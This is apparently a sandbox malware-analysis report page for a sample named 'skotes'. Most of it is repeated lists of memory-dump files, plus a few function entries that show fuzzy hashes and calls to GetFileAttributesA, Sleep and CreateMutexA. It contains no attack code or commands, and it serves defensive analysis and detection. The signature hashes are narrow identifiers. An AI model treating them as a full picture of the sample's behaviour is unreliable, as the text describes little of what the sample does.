Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 2a66cf8124d12b70823121bfe4b2bf2a3374e9670aec423eec4328b068d0fb9d
Instruction ID: e23c552de5078644397083efc60192c1bc66697b9fa7b1f892cdbda8ef10466a
Opcode Fuzzy Hash: 2a66cf8124d12b70823121bfe4b2bf2a3374e9670aec423eec4328b068d0fb9d
Instruction Fuzzy Hash: 033179316851049BEB08EBBCDD887ADB766EBD6310F24C61AF014EB3D1C7359D908752

Function 009DA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DA07C
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3631ae9e530830518acdd1344bf5679ee58184e379553310bf111669b3811f0f
Instruction ID: c606b31262fbc27db990a921ec54b3b02ccac8bab43387e5963d4ecbbee3c064
Opcode Fuzzy Hash: 3631ae9e530830518acdd1344bf5679ee58184e379553310bf111669b3811f0f
Instruction Fuzzy Hash: E6318D317891409BEB08DBB8CD8476DB776DFD2314F24C21AE014A73D1C73699908752

Function 009DA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DA1B1
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 768a7484d0ed2ac00d5b6c4bbe557406e167ef12e78f94101848aeb0d8b11c87
Instruction ID: a98fb5e5fa4af631c64ec93dceff9b2538337ea82123f3e4457e1b49c9f29c4d
Opcode Fuzzy Hash: 768a7484d0ed2ac00d5b6c4bbe557406e167ef12e78f94101848aeb0d8b11c87
Instruction Fuzzy Hash: C73179326891419BFB08DBB8DDC876DB766EFD6310F24C21AE024A73D1C73A99D08752

Function 009DA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DA2E6
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5f9667ad8005759ed98eb9f86a0fbf61d65d430f09a5ab3d4e92beceb3e5c90c
Instruction ID: 7e72d32d8c12bba92e43137e806aa7b67e11f84e2514d2c97cc071e80ded25e2
Opcode Fuzzy Hash: 5f9667ad8005759ed98eb9f86a0fbf61d65d430f09a5ab3d4e92beceb3e5c90c
Instruction Fuzzy Hash: 0F3199326841409BEB08DBB8DC8876DF776EBD2314F24C61AE025A73D1C73699D08752

Function 009DA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 009DA41B
Sleep.KERNEL32(00000064,?), ref: 009DA963
CreateMutexA.KERNEL32(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
